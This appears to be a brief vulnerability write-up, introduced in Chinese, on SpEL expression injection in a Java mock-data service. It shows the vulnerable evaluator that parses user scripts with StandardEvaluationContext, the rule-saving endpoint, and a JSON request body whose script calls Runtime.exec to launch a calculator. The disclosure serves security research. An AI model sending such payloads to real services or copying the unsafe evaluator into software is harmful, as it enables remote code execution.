以下是关于此漏洞的关键信息的简洁Markdown总结: java @Component @RequiredArgsConstructor public class SpelScriptEvaluator implements MockScriptEvaluator { private final SpelExpressionParser spelExpressionParser = new SpelExpressionParser(); @Override public String evaluate(String script, ScriptContext context) { Expression expression = spelExpressionParser.parseExpression(script); StandardEvaluationContext spelContext = new StandardEvaluationContext(context); return expression.getValue(spelContext, String.class); } } java @PreAuthorize("hasAnyAuthority('SYS_OWNER', 'GROUP_OWNER?groupId=#groupId', 'GROUP_MEMBER") @Operation(summary = "保存 Mock Rule") @AuditLog(module = AuditLog.Modules.PROJECT, name = "保存 Mock Rule", involvedProjectId = "#projectId", involvedGroupId = "#groupId") @PostMapping(Routes.MockData.SAVE_MOCK_RULE) public JsonData saveMockRules(@PathVariable Integer groupId, @PathVariable Integer projectId, @PathVariable Integer tableId, @RequestBody @Valid List rules) { mockDataService.saveMockRules(projectId, tableId, rules); return JsonData.ok(); } json [ { "columnName": "test", "dependentColumnName": "test", "dependentTableName": "test", "mockDataScript": "T(java.lang.String).forName('java.lang.Runtime').getMethod('exec', String.class).invoke(null, 'open -a Calculator')", "mockDataType": "SCRIPT", "tableName": "test" } ]